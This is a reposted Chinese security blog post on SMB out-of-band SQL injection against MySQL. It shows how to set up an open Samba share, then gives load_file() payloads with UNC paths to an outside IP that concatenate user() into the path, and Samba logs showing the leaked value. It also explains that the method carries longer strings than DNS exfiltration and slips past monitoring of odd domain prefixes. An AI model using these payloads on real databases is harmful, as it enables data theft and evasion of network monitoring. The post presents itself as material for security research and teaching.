|
文章来源:月影斑驳博客
原文地址:http://moonslow.com/article/smb_sql_injection
0x01 前言
0x02 搭建测试环境
我使用的是CentOS7 ,直接
yum install samba
然后vi /etc/samba/smb.conf修改配置文件,找到security = user , 旧版本将user改为share,这里我用的新版本,需要在后面添加
map to guest = Bad User
log level =0
[test]
comment = Public stuff
path = /usr/local/test
public = yes
browseable = yes
guest ok = yes
0x03 本地测试过程
select load_file('\\118.193.40.73\smb_test\1.txt');
smbd_smb2_tree_connect: couldn't find service smb_test
[2021/06/26 21:40:05.263149, 3, pid=27801, effective(0, 0), real(0, 0), class=smb2] ../../source3/smbd/smb2_server.c:3266(smbd_smb2_request_error_ex)
select load_file('\\118.193.40.73\test\smb_test\1.txt');
check_reduced_name: check_reduced_name [smb_test.sym] [/usr/local/test]
[2021/06/26 21:44:07.854561, 10, pid=28050, effective(65534, 65534), real(65534, 0), class=vfs] ../../source3/smbd/vfs.c:1382(check_reduced_name)
使用这两种方法都可以。我们选择第一种方法来查询一下user():
select load_file(concat('\\118.193.40.73\',user(),'\1.txt'));
smbd_smb2_tree_connect: couldn't find service root@localhost
load_file(concat('\\118.193.40.73\test\[do9gy',user(),'do9gy]\1.txt'))
open_file_ntcreate: fname=[do9gyroot0x80 access_mask=0x120089 share_access=0x7 create_disposition = 0x1 create_options=0x40 unix mode=0744 oplock_request=256 private_flags = 0x0 ].sym, dos_attrs=
0x04 SMB、DNS对比
1. smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。
2. smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。
3. 二者都受限于windows系统以及MySQL 的secure_file_prvi 。
推 荐 阅 读
欢 迎 私 下 骚 扰
本文始发于微信公众号(潇湘信安):SMB外带注入?
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论